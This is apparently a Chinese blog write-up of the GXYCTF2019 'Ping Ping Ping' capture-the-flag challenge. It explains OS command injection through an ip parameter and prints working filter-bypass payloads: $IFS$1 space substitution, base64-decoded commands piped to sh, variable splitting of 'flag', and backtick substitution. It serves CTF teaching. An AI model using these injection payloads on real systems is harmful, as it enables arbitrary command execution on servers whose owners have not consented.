BUUCTF WEB GXYCTF2019 Ping Ping Ping

题目:

解题:

1:尝试传参ip=127.0.0.1

        输入:/?ip=127.0.0.1

 2:尝试查看目录内容

        输入:/?ip=127.0.0.1;ls

        得到两个文件:flag.php,index.php

3:尝试查看文件内容

        输入:/?ip=127.0.0.1;cat flag.php

         猜测空格被过滤。

 4:绕过空格过滤

空格绕过处理:

        (1)$IFS、${IFS}、$IFS$n替换

        在shell中,环境变量$IFS(Internal Field Seprator,内部域分隔符)用于内部字段分隔。$IFS默认为空白(空格、制表符、换行符)。

        可用$IFS变量代替空格,变量名通常用{}括上,不然在cat$IFSindex.php中就会把$IFSindex当做变量而出错,要改为cat${IFS}index.php。

        可用$IFS$n代替空格,n为1.2.3...都可以,暂时未理解。可通过语句 echo $IFS | hexdump -C 查看环境变量$IFS、${IFS}、$IFS$n的值。默认值为20 09 0a 00 0a 分别代表:空格 \t  \n  \0  \n。

        (2)重定向符<、<>

        Linux Shell 重定向分为两种,一种输入重定向,一种是输出重定向。从字面上理解,输入输出重定向就是“改变输入与输出的方向”的意思。那么,什么是输入输出方向呢?标准的输入输出方向又是什么呢?

        标准的输入方向:从键盘读取用户输入的数据,然后再把数据拿到程序(C语言程序、Shell 脚本程序等)中使用,这就是标准的输入方向,也就是从键盘到程序。

        标准的输出方向:程序中产生的数据,直接呈现到显示器上,这就是标准的输出方向,也就是从程序到显示器。

        输入输出方向就是数据的流动方向:输入方向就是数据从哪里流向程序。数据默认从键盘流向程序,如果改变了它的方向,数据就从其它地方流入,这就是输入重定向。输出方向就是数据从程序流向哪里。数据默认从程序流向显示器,如果改变了它的方向,数据就流向其它地方,这就是输出重定向。

符号作用
命令 < 文件将文件作为命令的标准输入
命令 << 分解符从标准输入中读入,直到遇到分界符停止
命令 < 文件1 >文件2将文件1作为命令的标准输入,并将标准输出到文件2
命令 > 文件将标准输出重定向到文件中(清除原有文件中的数据)
命令 2> 文件将错误输出重定向到文件中(清除原有文件中的数据)
命令 >> 文件将标准输出重定向到文件中(在原有的内容后追加)
命令 2>> 文件将错误输出重定向到文件中(在原有内容后面追加)

        经过测试只有部分命令可用<、<>代替空格。可行命令:cat、more等这类查看命令。

        cat<file:file作为cat命令的输入,也就等价于cat file。

        cat<>file:file作为cat命令的输入,cat file输出的内容再重定向到file中,用file中的数据覆盖原file数据,也就没改变file数据。

4.1:尝试用${IFS}代替空格

        输入:/?ip=127.0.0.1;cat${IFS}flag.php,得到:

        可猜测{}也被过滤了。

4.2:尝试用$IFS$1代替空格

        输入:/?ip=127.0.0.1;cat$IFS$1flag.php,得到:

         可猜测flag也被过滤了。

4.3:尝试查看index.php

        输入:/?ip=127.0.0.1;cat$IFS$1index.php,得到:

         发现代码不完整,F12查看得到:

        原来是隐藏了。由此可知,{、}、flag确实被过滤了。 

5:绕过flag过滤

5.1: base64编码绕过

        (1)将cat flag.php用base64编码:

         (2)用管道符 | 连接

        echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

        管道符 | 原理参考文章:https://blog.csdn.net/Ethan552525/article/details/119141377

        输入:/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh,得到:

         没有报错,但是没有flag,F12查看得到flag。

 

5.2:变量拼接

        将flag错开就可以绕过flag过滤。       

        输入:?ip=127.0.0.1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

5.3:内敛绕过 

        将ls命令的输出作为cat命令的输入。

        输入:?ip=127.0.0.1;cat$IFS$1`ls`

        反引号``内的语句作为命令先于cat执行,然后将执行结果作为cat命令的输入。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值